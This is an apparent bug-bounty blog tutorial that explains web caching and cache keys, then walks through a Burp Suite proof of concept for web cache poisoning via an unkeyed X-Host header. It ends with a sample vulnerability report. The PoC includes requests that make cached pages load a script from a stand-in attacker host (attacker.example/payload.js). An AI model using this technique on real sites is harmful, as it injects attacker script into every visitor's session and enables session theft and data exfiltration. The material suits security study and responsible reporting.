When people talk about caching, it usually sounds like a pure performance topic: "CDN", "TTLs", "faster load times". From a security mindset, caching is something more interesting:
A web cache is shared memory for responses. If you can put your data into that memory, other users may see your version instead of the real one.
That's the core idea behind web cache poisoning. One crafted request from you, many victims receive the poisoned response.
This blog explains caching in simple terms and then walks through a clean, realistic cache poisoning PoC you can adapt in Burp.
Part 1 — What a Web Cache Really Does
Forget the buzzwords for a moment. Imagine a CDN or reverse proxy sitting in front of a website.
Step 1 — First user visits
A user requests:
GET /home HTTP/1.1
Host: target.comThe cache in front of the site asks itself:
- "Do I already have an answer for
GET /homeontarget.comstored?"
If it's the first time:
- It doesn't. This is a cache miss.
- It forwards the request to the origin server.
- The origin generates the HTML and responds with something like:
HTTP/1.1 200 OK
Cache-Control: public, max-age=300
Content-Type: text/html
...Seeing public, max-age=300, the cache decides:
- "I'm allowed to store this for 300 seconds."
- It saves that response in memory under a certain key.
Step 2 — Next user's visit
Another user makes the same request:
GET /home HTTP/1.1
Host: target.comNow the cache:
- Looks up the key for
GET /homeontarget.com. - Finds the stored response that is still fresh.
- Returns it directly, without asking the origin again.
That's a cache hit. The user gets a fast response, and the origin server can rest.
This is all caching really is:
"If I've seen this before and my copy is fresh, I'll answer from memory."
Part 2 — The Cache Key: How It Decides "Same Request"
The cache key is how the cache decides if two requests are "the same" and should share the same stored response.
Simplified, the key often includes:
- HTTP method (GET vs POST).
- Host (e.g.,
target.com). - Path (e.g.,
/home).
Some setups also include:
- Selected query parameters.
- Selected headers (like
Accept-Encoding). - Sometimes cookies or custom logic.
The key idea:
- If two requests share the same key, the cache will serve the same stored response.
- If something changes the response but is not part of the key, that's a potential poisoning vector.
Part 3 — Private vs Shared Caches
There are two main types you care about:
- Browser cache (private)
- Lives in the user's browser.
- Only affects that one user.
- Good for performance, usually less interesting for poisoning other people.
- CDN / reverse proxy cache (shared)
- Lives on servers between users and the origin.
- One cached response can be served to thousands of users.
- This is where web cache poisoning becomes powerful.
When people talk about cache poisoning in bug bounty, they usually mean shared caches like CDNs or edge proxies.
A content delivery network (CDN) is a network of interconnected servers that speeds up webpage loading for data-heavy applications.
Part 4 — What Is Web Cache Poisoning?
Now, combine everything you've read:
- The cache stores responses.
- The cache uses a key to decide which requests share a response.
- Other users get that stored response.
A natural attacker thought is:
"Can I send one weird request that gets cached, so other users receive my weird version as if it were normal?"
That's web cache poisoning:
- You craft a request that makes the server produce a modified response (for example, with your
<script>or redirect). - The cache stores this response.
- Normal users, who don't send your weird header or parameter, still get the poisoned version because the cache key ignores that difference.
Part 5 — A Simple Web Cache Poisoning PoC
Let's go through a concrete, easy‑to‑follow example you can test with Burp Suite.
Scenario
Assume:
- The page
/homeis cached by a CDN or reverse proxy. - The application reflects a custom header called
X-Hostin the HTML. - The cache key does not include
X-Host.
You will:
- Confirm
/homeis cached. - Show that
X-Hostis reflected in the response. - Prove the cache ignores
X-Host(poison sticks for normal requests). - Swap the reflection into a script URL for a full poisoning PoC.
Step 1 — Confirm /home is cached
In Burp:
- Send a normal request a few times:
GET /home HTTP/1.1 Host: target.com
2. Look at the response headers across multiple requests:
Cache-Control– Is it cacheable (e.g.,public, max-age=300)?Age– Does it start at 0 or absent, then increase (like 10, 20, 30)?- Any cache status headers (e.g.,
X-Cache: HIT/MISS,CF-Cache-Status: HIT).
If Age keeps increasing, and you see "HIT" for some status, you know /home is being served from cache.
Step 2 — Test if X-Host is reflected
In Burp Repeater:
- Send:
GET /home HTTP/1.1 Host: target.com X-Host: abcd-test
2. Check the response body for abcd-test.
If you see something like:
<script src="https://abcd-test/static/main.js"></script>or any piece of HTML/JS containing abcd-testThe server is reflecting your header value into the response.
So, X-Host influences the output.
Step 3 — See if the cache key ignores X-Host
Now, test if the cache treats requests with and without X-Host as the same:
- First, send the poisoning candidate again:
GET /home HTTP/1.1 Host: target.com X-Host: abcd-test- Note that the response contains
abcd-testand looks cacheable.
2. Then, send a clean request:
GET /home HTTP/1.1 Host: target.com
3. Check the clean response:
- Does it still contain
abcd-testin the HTML? - Do cache headers show a cache HIT and a non‑zero
Age?
If yes, you have strong evidence that:
- Your request
X-Host: abcd-testpoisoned the cached/homeresponse. - The cache key was not included
X-Host, so normal requests now receive the poisoned version.
That's basic web cache poisoning.
Step 4 — Turn it into a more serious exploit
Instead of injecting a harmless marker, use X-Host to inject a malicious script URL:
Poisoning request
GET /home HTTP/1.1
Host: target.com
X-Host: attacker.exampleIf the app builds a script tag like:
<script src="https://attacker.example/payload.js"></script>and this response is cached, then:
- Every user visiting
https://target.com/homeduring the cache lifetime will loadpayload.jsfrom your domain. - If Content Security Policy (CSP) allows it, that script will execute in the context of
target.com—letting you run JavaScript as if it were part of the site.
Verification request (what victims see)
GET /home HTTP/1.1
Host: target.comIf the response contains:
<script src="https://attacker.example/payload.js"></script>And the cache headers show a HIT, you have a solid, end‑to‑end poisoning PoC.
How to Explain This in a Report ..
When reporting, don't just say "cache poisoning"; show the story:
Title
- Web Cache Poisoning on
/homeviaX-HostHeader Allows Attacker‑Controlled Script Injection
Summary
The /home page is cached by the CDN. The server reflects the X-Host header into a <script> tag, but the cache key does not vary on X-Host. An attacker can send a single crafted request that poisons the cached response so that all subsequent visitors to /home receive a page loading attacker‑controlled JavaScript.
Steps to Reproduce
- Confirm
/homeis cached by observing increasingAgeand cacheHITstatus. - Send
GET /homewithX-Host: attacker.exampleand note the<script>tag referencinghttps://attacker.example/payload.js. - Send a normal
GET /home(noX-Host) and observe that the same script tag is present and the response is served from cache.
Impact
- Any user visiting
/homewhile the cache is poisoned will execute attacker‑controlled JavaScript. - This can lead to session theft, CSRF, data exfiltration, or complete UI compromise.
Final Thoughts
When you look at a cache only as a performance booster, it's easy to gloss over how it behaves. When you look at it as shared memory controlled by a key, things change:
- You start asking what's stored.
- You think about what the key includes and ignores.
- You see how one strange request can shape what everyone else sees.
That mindset is the difference between just knowing that "CDNs exist" and being able to turn them into clean, impactful cache poisoning bugs.